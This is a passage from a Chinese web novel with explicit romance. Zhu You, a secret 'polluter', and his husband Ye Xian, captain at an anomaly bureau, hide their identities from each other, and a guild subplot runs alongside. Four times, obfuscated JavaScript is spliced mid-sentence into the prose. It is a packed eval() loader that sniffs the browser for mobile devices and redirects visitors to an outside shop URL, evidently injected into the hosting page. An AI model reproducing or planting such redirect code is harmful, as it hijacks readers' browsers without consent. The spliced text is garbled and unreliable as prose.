还替对方换了药水,抓起冰凉的输液管,用手温暖着。 小孩高兴地眯起眼睛,激动地说:“妈妈妈妈,他也在抓着这个管子,和你一样耶!” 母亲温柔地笑了笑:“因为他和我一样,也爱宝宝啊……” “这样啊,”小孩狐疑地思考了下,发出灵魂质问,“可是他都不认识我,怎么会爱宝宝呢?” 母亲一愣,明白了什么,语气温柔道:“因为,他也有自己的宝宝呀。” - 首先是耳边模糊的声音,然后逐渐变得清晰。 紧接着是透过眼皮照射进来的灯光,有点刺眼—— 最后才是恢复过来的意识。 意识恢复的一瞬间,竹幽睁开眼睛。 看到的和之前却不太一样。 他现在,是躺着的姿势。 是谁把自己抱上来的…… 脑子勉强转动起来,竹幽刚想用胳膊撑起身体,就感受到一股不适。 甩了甩发酸的手臂,这次竹幽换了个手,成功撑起身子。 转头却看到了一道熟悉的身影,正坐在凳子上,眼神深沉,脸色复杂,不知道盯着自己看了多久。 ——正是叶弦。 …… “醒了。” 依旧是叶弦先开的口。 他端过来一杯温水,放在竹幽的面前。 刚想伸手去接,对方却移开了水杯。 竹幽不解抬头,看到了叶弦更加深邃的目光,直白、赤裸、不含有任何遮掩地看向他。 这次隐瞒得好像有点严重。 竹幽后知后觉地感受到叶弦生气的原因。 经验告诉他,这个时候还是不要说话为好…… 青年无辜地、缓慢地眨了两下眼睛,低头就着叶弦的手,一口一口喝完了那杯温水。 病房大概是升级了的,只有他们两个人。 因此四周都安静得很,吞咽的声音就显得格外明显。 “啪嗒。” 水杯落在茶几上,发出清脆的响声。 竹幽的心好似也随着水杯上下起伏。 隐瞒自己受伤,撒谎和朋友出去玩结果在医院被找到,挂水还不小心睡过去…… 叶弦接下来肯定要找他的事了—— 某种名为心虚的情绪发作,竹幽的心脏咚咚咚乱跳。 他看着叶弦,刚准备好接受责骂的下一秒,却见对方不明显地笑了笑,紧接着,男人俯身,捏住了他的脖子。 叶弦贴近竹幽耳边:“刚才喝水的声音,和吞jing的声音一样。” “宝贝自己听见了吗?” 他语气温柔,说出来的话却令竹幽意想不到。 吞,精。 竹幽一遍一遍在喉咙里琢磨这两个字,耳垂瞬间红了一大片。 叶弦怎么能这样。 怎么能在医院里面说。 叶弦漫不经心地坐到他旁边,收紧力道,顺便摩挲了下竹幽的喉结。 他不给竹幽解释的机会,继续道:“最后喝不完,溢出来的那滴水也像。” 指尖在脸颊游荡,顺着嘴角滑落至下巴,脖颈,最后是柔软的肚子。 “它会顺着这里,一直流到你的身体上。” “白色的,很明显。” “哭起来的时候很好看。” 叶弦一句接着一句,没有错过竹幽的任何表情。 然后满意地看到青年的胸膛上下起伏,红色逐渐蔓延至整张脸,想开口说话,却因为被掐住了脖子而无法正常开口。 多乖啊。 只有现在这样,才能让他感受到,竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305310|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽是属于他的。 欣赏完表情,叶弦面不改色地松开手。 一道明显的红痕瞬间出现,和黑色的发丝两相交映,带来极致的反差感。 叶弦默不作声地欣赏着自己的作品。 竹幽难受地咳了两下,呼吸急促地看向他。 “你不能这样说。” 勉强调整完情绪,竹幽才踟蹰开口:“以后,再别这样了。” 他很不习惯这样的叶弦。 事实上,他也从来没有见过叶弦像今天这样。 这是第一次。 叶弦语气平静:“不能说吗?为什么?” “我说的再过分,至少也是实话,”他语气不快不慢,循循善诱一般,“可是你呢,有多少都是骗我的……” “幽幽,我要找不到你了。” 说完最后一句,叶弦站起了身。 他整理完衣角上的褶皱,转身欲离开病房:“你休息吧,很晚了。” 然后,满意地感受到一股从身后传来的力道。 竹幽着急拉住他:“别走。” 叶弦嘴角微扬,却很好地控制住了表情:“怎么,还有事吗?” “有事!” “嗯,你说。” 对方语气毫无波澜,对比之下,显得竹幽有些狼狈。 他压低语气,小幅度晃了晃手中的衣角:“我今天,不是故意要骗你的。” 叶弦嗯了一声:“我知道,因为不想让我发现你受伤。” “这方面,理解。” 话都让对方说了,竹幽不知道自己还能说什么,转而换了个话题:“受伤的原因,我暂时不能告诉你……” 叶弦又嗯了一声:“理解,每个人都有秘密。” 又把话茬扔了回来…… 竹幽用力咬了下嘴角,决定继续说出秘密:“也可以告诉你,别生气了。” “老公。” 这两个字的分贝很小,叶弦耳朵动了一下,清楚地接收到信息。 心情一再转晴,声音中逐渐带上几分愉悦:“哦,我暂时不想知道你的小秘密。” 本来喊出老公还有一点不好意思,不曾想叶弦的反应却不太明显。 竹幽有些难受地耷拉下眼皮,逐渐松开了手:“我知道了……” 叶弦肯定是对他太失望了。 连真正的工作都要瞒着对方,他确实不是一个合格的伴侣。 种种失落的情绪在心底溢散,竹幽怀着最后一丝期待,偷偷地抬起目光。 下一秒,叶弦满含笑意的眼神映入眼帘。 “你——没有生气吗?” 竹幽小声问。 “一开始生气。” 叶弦笑了下,比他更小声地回答。 “那现在呢?” “还在生气吗?” 叶弦:“不生气了,现在心疼你。” 这人又在说情话了……偏偏自己还这么的受用。 竹幽慢悠悠地哦了一声,抓住被子,有点不好意思地蒙住下半张脸,只剩下一双眼睛。 叶弦上前抢走他的被子,对着那张觊觎已久的小嘴,狠狠地亲了上去。 他吻得很深,舌头都要伸进来。 竹幽不敢睁开眼睛,来不及吞咽的口水顺着嘴角流下。 叶弦低低笑了一声,指尖挑起那抹晶莹剔透,扬眉道:“一开始我想说的是这个。” 至少都没有颜色,比较像。 临时改变说法也是气在头上。 叶弦没让他老婆吞过那东西。 竹幽闻言呼吸急促,慌乱擦了擦下巴,彻底不想理人了。 12. 算算账 【012】 “以后受伤了要说,知道吗?” 叶弦继续在他耳边道:“怎么还和之前一样,一心虚就偷偷找个地方藏起来……” 和某种小动物似的。 竹幽脸色有些不自然:“没有藏。” 他只是来医院看病。 他也没有心虚。 叶弦低声嗯了一下:“宝贝说什么就是什么。” 前者眼神幽怨,后者笑而不语。 “对了。”竹幽不知道想到了什么,忽然开口,“你是怎么找到我的?” 海湾市很大,想要寻找一个人并不容易。 他来到医院前后不过也就个把小时,叶弦是通过什么途径找到他的? 叶弦:“猜一下?” 竹幽微微歪头,身体逐渐向对方靠拢,声音也变得低低的:“你在我身上装监控了吗?” 除了这个,他确实想不出来其他的理由了。 叶弦是普通人类,没有污染者敏锐的五感,只能是依靠外物来辨别。 叶弦却否认了这一观点:“好主意,下次在你身上装一个。” 竹幽:“……” 不说就不说。 每个人都有小秘密,他知道的。 叶弦不知道自己的真实身份,合情合理,他也不知道叶弦的行踪轨迹。 扯平了。 脑海中的想法刚刚成型,叶弦却忽然把话题转了回去。 “这是烫伤,还是烧伤?” 竹幽:“什么?” 叶弦再次好脾气的重复了一遍:“我说,你这个是高温造成的伤口,对吧?” 竹幽颔首:“是。” 水泡一看就知道是烫伤,这一点正常人都能看得出来。 叶弦点了点头:“所以在我出差的这两天里,老婆有乖乖在家吗?” 竹幽:“……在。” “你说谎的时候会有一秒钟的停顿时间,”叶弦笑眯眯的,凑近他,“刚才听了快两秒,看来老婆又在骗我呀……” “这么大面积的烫伤,按理来说不太正常。” “海湾市最近没有爆炸事故发生,但是临城市最近有一起……” 叶弦的语气不快不慢,却把竹幽一颗心吊起来:“哦,对了,还有一种说法。” “那就是老婆在家,还想尝试做饭,结果不小心点燃了厨房,还弄伤了自己……让我想一想,哪个理由看起来更真实呢?一看就是第二个,是不小心在厨房弄得吧。” 一颗心被吊起来又缓缓落地。 竹幽稳了稳心神,勉强撤出一丝笑容:“是。” 反正在叶弦的心中,自己已经坐稳了厨房杀手的名号,再多一条也没事。 “所以啊,”叶弦拍了拍身边人的肩膀,颇有些语重心长的说,“既然知道危险,那下次就不要去了嘛,对不对?” 竹幽:“对。” 依旧是谨慎的一个字。 非常简约的回答。 叶弦觉得自己真的快要被他老婆萌死了。 世界上怎么会有竹幽这种,连撒谎和心虚都这么容易看出来的人呢? 真的是太可爱了。 竹幽完全不知道对方此刻内心的心理活动,只觉得叶弦似乎又和之前一样,话里有话。 危险,下次就不要去。 这句话到底是什么意思? 厨房危险,还是说,临城市的污染物和韩敬深危险? 叶弦是知道了自己偷偷跟去隔壁市了吗? 为什么不直接揭穿自己? 还是说,只是随便的一句无心之言? 种种疑问萦绕在竹幽的脑海中,盘旋着久久不能散去。 —— 这边,过了好些天的段飞云终于悠悠转醒。 守着他的好几个工作人员纷纷凑上前去:“你终于醒过来了!” 段飞云挠了挠头发,有些不明白所以然:“我这是睡了多久?” 他怎么会在医院醒过来,身上还插着一堆管子。 他不是上一秒还在和污染物作战么,还有竹幽…… 对了,竹幽呢? “请问,有没有谁是和我一起来的?” 如果真的有一起过来的,那只能是竹幽和他一样,在高温的烘烤下失去了意识。 工作人员你看我,我看你,都有点欲言又止的样子。 “哒哒哒……” 皮鞋在地面上发出清脆的响声,像是某种瘟神一样,立马激发了段飞云身体里的某个密码,让他忍不住想要逃—— 下一秒,男人推门而入。 叶弦穿着白色衬衫,黑色西裤的职业服装,碎发被尽数梳至脑后,露出饱满的额头和目光锐利的眼睛。 他的目光一寸一寸扫过这位躺在床上的“病人”,目光冷静而带有辨识力。 “段飞云,××27年出生,独子,现27岁,目前在一家药物公司就任执行总裁一职。” 毫无感情的将这段话念出来,叶弦的语气已经变得沉着而稳定:“现在解释一下,你三天前为何会出现在临城市的污染中心?” 明明拥有如此优越的条件和社会身份,为什么会突然出现在那种地方,这一点确实值得令人深思。 叶弦语气不停:“还有,段先生刚才的话,是否可以认为,与你一起前去的,还有你的同伴。” 疑问的句式,却是陈述的语气。 段飞云脸色不变,在这种场合下,他的神色逐渐变得冷静,完全没有了之前和竹幽在一起时,嘻嘻哈哈的表现。 “抱歉,我刚苏醒,身体欠恙,暂时不能回答这么多问题,有需要的可以找科运制药集团的法律部,他们为您解答所有的疑问。” 科运制药集团,这是一家资本雄厚的公司,其背后的段家更是资金雄厚,传承百年的财阀世家。 它为社会提供了数万就业岗位,制造出来的医药用品,几乎零利润向公众出售。 在这种情况下,公司每年还要拿出千万资金做慈善。 可以说,科运制药拥有极其深厚的口碑,也得到了广大群众的支持。 在这种社会影响下,连新上任的总统都要给段家几分薄面。 而面前的这位年轻人,是段家名正言顺的新一代继承人。 ——至少表面完全看不出来。 段飞云整个人看起来就像邻居家的哥哥一样,温柔无害。 但是叶弦知道,往往是这种表现得越安全的人,背地里的心思才更加阴暗。 段家…… 他在嘴里不断品味着这两个字,忽的扬起嘴角:“段先生说的是,我确实应该先好好做一个调查,再来……兴师问罪,你说对不对?” 段飞云此刻看起来虚弱极了,勉强打起精神:“您明白就好。” 叶弦冷笑一声,转身就往病房门口走:“那就,不扰人清净。” 随着关门声响起,周围重新变得安静起来。 段飞云眼珠子转了转,不知道从哪个角落里找到了手机,对着屏幕就是噼里啪啦一顿敲:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305311|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 海湾市最忧郁的男人:【竹幽,你怎么回事?】 【你给我放哪了???怎么一睁眼就和那变态队长打了照面???】 【我快吓死了你知道吗?还好脑子转的快,不然我今天非得死他手里了。】 【你人呢,怎么不说话?】 竹幽收到消息的时候才睁开眼睛,身上是密密麻麻的吻痕,浑身酸痛无力,废了很大劲才从床上爬起来。 最近两天不知道为什么,叶弦总是压着他,不要命地凿。 还说是惩罚,竹幽离开失联了一天七小时,一个小时一次。 两天过去了,竹幽还差二十多次没还清。 已经完全没有力气了…… 迷迷糊糊打开手机,依稀看到了段飞云发的牢骚。 竹幽回他:【你终于醒了。】 这都好几天了,他被叶弦压在床上,都有点分不清白天黑夜了。 手臂上的伤口都快长好愈合了。 段飞云看起来很不服气:【一睁眼我就看到那个瘟神,啥意思!】 竹幽坐着有点不舒服,在床上翻了个身,两条腿翘起来,手指在屏幕上点啊点,点啊点。 竹幽:【哪个队长?】 海湾市最忧郁的男人:【就是咱们海湾市分局的队长啊。】 竹幽:【叫什么名字?】 “宝贝在看什么?” 身后忽然传来一道低沉的嗓音。 竹幽弯了弯眉眼,顺手把手机关掉,回头看着叶弦:“你回来了。” 叶弦嗯了一声,上前搂住他:“怎么还在床上?” 还是这个姿势,连衣服也没有穿,就盖着一层薄薄的被子,两条腿还露在外面晃啊晃,什么事情这么开心? 竹幽说和朋友聊天。 “哪个朋友?” 叶弦一直都知道竹幽有个玩得不错的朋友,经常能在竹幽嘴里出现,只是一直不知道这位朋友的尊姓大名。 刚好趁这次多了解一点老婆。 最好下次能带着人,一起出来吃顿饭,感谢一下对方…… “他姓段。” “什么?” “段飞云。” 竹幽对叶弦完全没有防备,就这样赤裸裸的把对方的尊姓大名说了出来。 叶弦一怔:“海湾市首富的那个段?” 他一个小时之前才刚见过段飞云。 世界上怎么会有这么巧合的事情? 竹幽:“应该是吧?” 段飞云好像确实和他说过,自己能帮他找份工作来着…… 如果对方是海湾市首富的话,好像也不是不可以? 想清楚之后,竹幽转头看向身边的爱人,发现对方好像也陷入了沉思之中。 眉头紧锁,完全没有意识到竹幽在喊他。 “海湾市的首富姓段吗?” 竹幽又问了一次。 叶弦这才目光复杂的看向他:“是的,他们家是制药的。宝贝怎么会认识段家的人?” 在大众眼里,段家人行事作风低调,完全没有架子,一整个两袖清风的世家大族。 但段飞云这位“继承人”在不久之前出现在污染中心,被管理局发现并带到医院救治。 现在整个人还在管理局的监察之下,是无论如何也摆脱不了嫌疑的。 往更深层次来说,段飞云是污染者公会的人也说不定。 现在对方却莫名其妙和竹幽相识多年…… 对叶弦来说,这并不是一个好消息。 13. 算算账 【013】 竹幽却没有注意到叶弦深刻的目光,轻言细语道:“好多年之前偶然认识的,应该也是机缘巧合吧。” 叶弦勉强笑了笑:“这样。” 看对方似乎不太高兴的样子,竹幽只好将话题一转:“你在管理局上班,认识那位队长吗?” 队长上面还有局长,但是海湾市的这位局长年岁已高,很少参与到工作当中,可以说,现在的管理局就是叶弦的一言堂。 碍于叶弦的年龄与职位,再过段时间,往中央提拔也是说得过去的。 但是以上全都是未来说不定的东西,至少现在来讲,叶弦就是海湾市管理局的队长。 也是竹幽正在询问的人选。 “问他干什么,”叶弦沉默了两秒,“管理局只处理污染物,不会干涉你们普通人找工作。” 竹幽听到“普通人”三个字之后,心情有些复杂。 他试图争辩:“就随便问问……” 叶弦叹了口气,打断对方:“是我。” “什么?” 竹幽诧然抬头,把自己刚才说的话重复了一遍:“什么意思?” 叶弦语气平静:“海湾市分局的队长,是我。” “抱歉,之前骗你的说出差和加班,其实都是去处理污染物了。剩下的……涉及到机密问题,不能再说了。” 叶弦说话速度不快,却要让竹幽消化很久。 他喃喃开口:“好的,我知道了……” 叶弦点点头:“嗯,不说了。” 他怕两个人再坦白下去,会忍不住把所有东西都说出来。 这样多不好。 他们才刚结婚。 把一切都说出来的话,怕是连夫妻都没得做。 污染者和管理局向来处在对立面。 自己的身份不能随意透露,竹幽的又何尝安全。 如果说最开始的手刃污染物,叶弦还能自己骗自己,说是意外,帮竹幽收尸,再处理后续。 但这次手臂上莫名的伤口,与段飞云相识的过往,都在一一表明着,他的老婆,竹幽,并不是个普通人。 竹幽的手指上亮亮的,上面挂着尺寸有些不合适的戒指。 这个东西确实容易掉下来,尤其是在阳光明媚的时候——会散发耀眼的光芒在某个时候,比如不小心掉在墙角时,容易被人发现。 但戒指很珍贵,需要细心呵护。 所以在他们离开的时候,竹幽又重新将戒指捡了起来。 心中确实久久不能平静,叶弦的胸口上下起伏:“你先休息,我去洗个澡。” 他需要把这些事情,认真地捋一捋。 再好好的确认自己的身份,思考辞职的可能。 自己在管理局就任这么长时间,他有把握能保护好竹幽。 不让他的身份暴露。 他不想和爱人处在对立面。 - 浴室传来哗啦啦的水声,叶弦去洗澡了。 竹幽却有些心神不宁,翻来覆去的,觉得自己忽略了某些东西…… 枕头下面的手机发出震动,竹幽找到和段飞云的对话框: 海湾市最忧郁的男人:【叫叶弦!你听过不?】 海湾市最忧郁的男人:【他真的是个变态!!!有一回追我追了三天两夜不睡觉,最后还是请求司璇临时改磁场才逃走的。】 海湾市最忧郁的男人:【这还是人吗?哪有正常人能这么长时间不睡觉的?】 段飞云已经完全沉浸在自己的吐槽当中,甚至还上头发了几百字的小作文。 这边正在噼里啪啦打字呢,忽然看到竹幽回话了。 竹幽:【。】 竹幽:【删了。】 段飞云动作一顿,先把已经打完字的剪切一下,然后给竹幽扣过去个问号。 海湾市最忧郁的男人:【?】 他就发! 他恨死叶弦了! 因为叶弦,导致自己现在还在管理局的监视中,不能离开医院! 段飞云的秘书办都要被文件压得翻不了身了,小秘书刚才哭唧唧的给他打电话,今晚还要远程开会。 不能离开医院就意味着不能挣钱。 段人财路犹如杀人父母,他发两句吐槽的怎么啦? 海湾市最忧郁的男人:【你是他对象啊管这么宽?】 竹幽:【。。。】 就算真的是对象,也不能管这么宽! 他今天就是要痛快的骂一下! - 竹幽心情微妙的敲了三个句号过去。 他现在总算理解,为什么叶弦刚才的眼神那么复杂了。 从对象口中得知自己的另一个身份,和被现实生活中的朋友叫出网名有什么区别。 这种怪异的感觉都快和裸奔差不多了。 浴室里的水声逐渐停了下来。 竹幽赶紧眨了眨眼,背过身装睡。 他现在知道了叶弦的身份,那叶弦呢,又对自己了解多少? 他想起来不久之前发生的事情—— 手臂上这种程度的烧伤,放在正常人身上,没有半个月是好不了的。 两人再怎么在床上私混,日夜颠倒,也不可能忽略了真实的日期。 叶弦盯他的伤口盯的很紧,在隔天换药的时候,竹幽再怎么拖延,还是被发现了端倪。 当时竹幽记得很清楚。 在看到他的伤势好了之后,叶弦的第一反应不是震惊,反而是高兴。 那是一种发自内心,完全不加掩饰的欣慰感。 装是装不出来的。 他说,这么久了,伤口终于好了,以后老婆就不用疼了。 做的时候他也不用在顾忌着这条受伤的手臂,可以更用力。 后面一句竹幽只当自己没听到,就问他,好的这么快,你不意外吗? 叶弦只是笑,说只要结果是好的,过程没那么重要。 “至于这些小秘密,我等着老婆有一天心甘情愿的和我说出来。” - 当时的竹幽只觉得,叶弦是一个普普通通的外勤。 没想到对方在段飞云的嘴里,能够成为另整个海湾市污染者都敬畏的存在。 做到这个程度的叶弦,真的会不清楚自己身上的怪异之处吗? 真的不会怀疑,他自己也是污染者公会的人吗? 还是说,早就已经察觉了,只是没有告诉自己,而是用一种更加温和的方式,比如劝自己改行,换一份工作这种。 倘若这是真的,那么叶弦要从多久开始布局? 身后传来叶弦的脚步声,竹幽不动声色的听着,心中竟然生出几分之前面对叶弦时从来没有的紧张。 他在害怕。 他怕叶弦上床之后,抱住他,一字一句说出自己的身份。 他怕叶弦直接点明这一切,他不想失去对方。 他们才结婚一个月。 他不想失去的比拥有的还多。 可是竹幽的种种猜想全都落空。 叶弦没有那样做。 叶弦只是安静的躺在他身边,顺便替他拉了拉没有盖好的被子。 空调的温度适宜,竹幽的双手却有点冰。 身体也有些僵硬。 竹幽忽然感觉他距离叶弦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305312|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点远。 这距离不是天堑,却看起来好似永远不能通途。 “还没睡吗,”叶弦温和的话语从身后传来,捂了捂他有些冰凉的手心,“怎么不把温度调高一点?” “我……在想事情。”竹幽很小声。 他等着叶弦询问是什么事情,想要和他继续刚才的话题。 倾诉欲在这一时刻被夸张的放大。 你问我,只要你问我,我就什么都给你说。 之前的创伤,苦楚,泪水,全都能说出来。 只要你开口。 ——可是叶弦什么都没有问,也没有接下话茬。 对方只是拍了拍竹幽的后背,将人按在怀里:“那…先别想了,陪我休息一会?” “一直思考是很累的,别把自己逼得太狠了宝贝。” “就算找不到工作,老公也能养你一辈子啊,先睡觉,睡醒再说。” 叶弦好似又变得不正经起来。 竹幽的脑袋动了动,有点怀疑他是故意的,话在嘴边又说不出来。 许是还欠了点火候吧…… 可能现在并不是一个好时机。 竹幽低声说了句好。 没有什么事情是不能解决的。 只是脑子里浮现太多东西,加上很晚才醒过来,竹幽有些睡不着。 他偷偷判断头顶的呼吸声,等到稳定下来之后,才小心翼翼的准备翻身。 结果才刚动一下,整个人却忽然被对方压在了身下。 叶弦用胳膊困住他:“半夜不睡觉,老婆这是想做什么?” 黑暗中,竹幽看不清对方的表情。 但是联想到之前自己半夜出门的前车之鉴,叶弦的心情大概是不美妙的。 于是,青年闭上眼睛,抬头,虔诚的吻了吻。 知道他结婚之后,段飞云经常给他发来一些短视频。 里面都是夫妻相处小技巧。 竹幽好脾气,一字不落的全都看完了。 网上说,安抚伴侣的情绪是很重要的能力,叶弦现在看起来很不高兴,他应该哄哄对方。 叶弦的身影僵住,迟迟没有动作,也不说话。 竹幽想,或许一个吻不够,叶弦还在生气。 他应该再努力一点。 于是,竹幽更加大胆的伸出舌头,在对方的嘴巴上舔了舔,然后,用力的撬开—— 随之而来的是铺天盖地的吻,水声交缠中,竹幽觉得自己好像听见了一丝轻笑,但很快,整个人的意识陷入到更深层次的情欲中。 叶弦在床上向来热情,完全没有矜持之言。 他亲的用力,舌头顺着嘴巴一直快要伸到喉咙里面去,牙齿也被一颗一颗舔到了,竹幽闭着眼睛浑身颤抖,只能靠鼻子呼吸。 可是没办法,叶弦每次都是这样亲的。 竹幽只能尽力去适应,但显然,他适应得很差。 不消片刻,叶弦退了出来。 他的夜视能力很好,仔细端详着竹幽的表情。 迷离的表情,恍惚的双眼,嘴角还留有口水的嘴巴,以及身下微微颤抖的腰身。 或许现在连身上的皮肤都是粉红色的。 明明身上的吻痕还没有消去,却偏偏要来主动求.操。 怪谁呢? 明明自己受不住,被亲一下就爽的要死,还是不要命的来亲他。 现在浑身发抖躺在床上,意识还没恢复过来,却还是泪眼朦胧的看着他。 不是求.操是干什么呢。 叶弦轻轻笑了一声,低头将竹幽嘴角的水痕舔走,靠近他的耳朵道:“老婆,你现在看起来好爽。” 14. 暗流起 【014】 “韩哥。” “韩老大晚上好。” “……” 韩敬深一路走来,不少人借机搭话。 他走路带风,随手招来一个小弟:“借个火。” 小弟谄媚地给他递了一支烟。 “啪嗒”一声,火焰升起。 深深抽了一口,吐出烟圈,韩敬深才看向身边的小弟:“今天人这么多?” 小弟点了点头:“一听说要开会,大家就都来了。” “韩老大这次又从管理局手里抢到源质,真不愧是我们公会最厉害的领队!” 面对这样的恭维,韩敬深却显得兴致缺缺,他打了个哈欠,又揉了揉眼底下的乌青:“嗯,知道了。” 说完便径直向前走。 小弟在他后面,期待又害怕地看着他的身影逐渐远去,想开口叫住对方询问更多信息,却又迫于压力没有那样做。 毕竟大家都知道,韩敬深在公会里有个“疯子”的称号。 也清楚这个称号是怎么来的。 “怎么样,他说怎么处理这次的源质了吗?充公还是给特定的某个人?” 身后有朋友撺掇着凑到小弟身边,开始激动地打探消息。 小弟摇了摇头:“我没问。” 朋友进来得晚,不太清楚内幕,一听他这样说,便有些恨铁不成钢:“你怎么不问问呢,这么高等级的源质!” 随便吸收一点点就能获得“污染”,凭此得到数不尽的财富。 小弟却冷冷地看向朋友:“你以为污染者公会是什么地方,死了这条心吧。” 韩敬深这种人虽然令人敬畏,但至少还时不时地出现在大众眼前。 但公会里不显山不露水,不出面的,才是真正拥有实权的人。 高等级的源质向来为他们所得,至于他们这些普通成员,能接触到普通源质,就已经是莫大的幸运了。 - 还是那张熟悉的长桌。 韩敬深掐灭烟蒂,随手将其扔在地上。 “韩老大这习惯不太好啊,”一道贱兮兮的声音从长桌的角落传来,带着不加掩饰的嘲讽,“还真是不拘小节,邋遢惯了。” 韩敬深冷笑一声,没有理会此人的冷嘲热讽,直接从口袋里掏出一件东西。 灯光昏暗,源质却在它的照射下散发出诡异的光芒。 青色的,晶莹剔透的外壳下面盛着耀眼的流光,正在缓缓流动。 众人的目光立即被它吸引。 就连长桌正前方的万丰利也开口说了话:“来了,坐。” 他指着自己身边的空位。 随着万丰利的话音落下,旁边立即有人发出一声不屑的轻哼。 韩敬深眼也不眨地落座,顺便翘起了二郎腿,缓缓地扫视了一圈周围的人。 …… 很好,到得很齐。 万丰利贪婪地看向桌子上的东西:“我听说,这次的源质与汲取生命力有关?” 韩敬深轻笑:“谁知道呢,也有可能让人瞬间老死不是?” 此话一出,众人的脸瞬间变得铁青。 “开玩笑的,”韩敬深双手置于胸前,脚尖不停点地,“放心,这东西我不要。” 公会虽然内斗严重,但有严肃规定,第一个拿到源质的人拥有最直接的处决权。 现在韩敬深不要,就意味着其他人有机会拿到它。 贪婪的目光从四面八方传来,韩敬深眼也不眨,继续道:“我的条件只有一个,很简单。” “你说。” “我要离开公会。” 万丰利看向他,眼里满是震惊,几乎脱口而出:“这不可能。” 韩敬深加入公会二十多年,花了那么大的价钱培养,怎么可能会轻易放人。 “不让我走也行,我呢,这次来只是为了通知各位,”韩敬深看着周围人诧异的目光,缓缓从怀里掏出一支烟咬着,没有点燃,“不是申请。” 他语速很慢,乃至有点磁性迷人:“至于你们的意见,完全不重要。” - “队长,队长?” 陈三清连续喊了好几声才将他队长的意识唤回来。 自从出差结束,对方好像就变成这种有些心不在焉的样子。 本以为过个几天就好,没想到一连好久,叶弦还是这样的状态,今天甚至开始在工作中走神。 “这是小队下周的训练计划,最近毕业季,管理局计划招一位新的外勤,减轻一下大家身上的压力……” 陈三清说的头头是道,叶弦却有点难以集中精神。 深渊管理局是为政府部门工作的组织,因为伴随有一定风险,其工资待遇是所有政府部门中最高的。 但也因为这样,每年报考管理局的年轻人非常多,大家都怀揣着为社会平乱的心情加入。 污染物横行的世界,生活稳定成了最大的奢望,在深渊管理局工作的话,某些照顾政策也能惠及家属。 想到这里,叶弦掐了掐眉心,难掩忧愁。 他想起自己的前二十多年,按部就班地学习,进入警校,报考管理局,然后慢慢晋升到队长……多么漂亮的履历。 有年轻人加入,或许也是件好事。 “嗯,我知道了,”叶弦找了把椅子,递到对方身边,语气慵懒,“招个新人也好,自己带出来的更放心。等到我离开了,或许就是你担任队长的职位。” “离开?”陈三清的呼吸稍稍急促,惊喜道,“这是要调任了吗?” 叶弦工作能力强,履历很好看,继续维持现状的话,不用很长时间就能升职去到中央管理局。 这也是陈三清能想到的,最正常的事情走向。 但是叶弦却笑了笑,状似无意:“如果是辞职呢?” 这次陈三清没说话了。 “想什么呢,”叶弦主动敲了敲桌子,阻止了对方的胡思乱想,“就随便一说,别放心上。” 陈三清勉强笑了两声:“就知道队长在开玩笑。” 叶弦嗯了一声,摆摆手让他出去了。 海湾市最近的空间裂缝正在变多,不久前更是有高等级的污染物出现。 在这种关键的时刻,叶弦就算是再任性,也不能随便辞职。 更别说手底下几个年轻人还没成长起来。 管理局不能缺人,叶弦的责任感和职位也不允许他这样做。 至于竹幽的身份,他会暗中做好防护,就算真正有一天被查出来,叶弦也有信心保对方周全。 无论如何,他不能失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305313|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方。 - 竹幽和段飞云约在城中村的出租屋见面。 “咳咳咳,你这屋子多长时间没打扫了,”一推开门就是漫天遍野的灰尘,呛得段飞云打了好几个喷嚏。 竹幽沉默,好像是有一段时间没清理了? “唉算了不说这个了,”段飞云狠狠伸了个懒腰,随手扯了个凳子坐下,“我终于摆脱管理局的监视了,陪着他们演了好几天戏。” 竹幽:“你找我干什么?” 不说还好,一说到这个,段飞云可就精神了,他眼神亮亮的,朝着竹幽招了招手:“那可是大事啊,韩敬深说他要退出公会,在总部闹起来了!哎,你站着干什么,坐坐坐……” 因为嫌弃凳子脏所以站着讲话的竹幽:“……没事,我喜欢站着,你继续说。” 韩敬深和他的关系算不得多好,只是认识的程度。 不过竹幽还算是欣赏对方的行事作风,挺想知道后续的。 毕竟退出远比加入要难,稍不注意就会被杀人灭口。 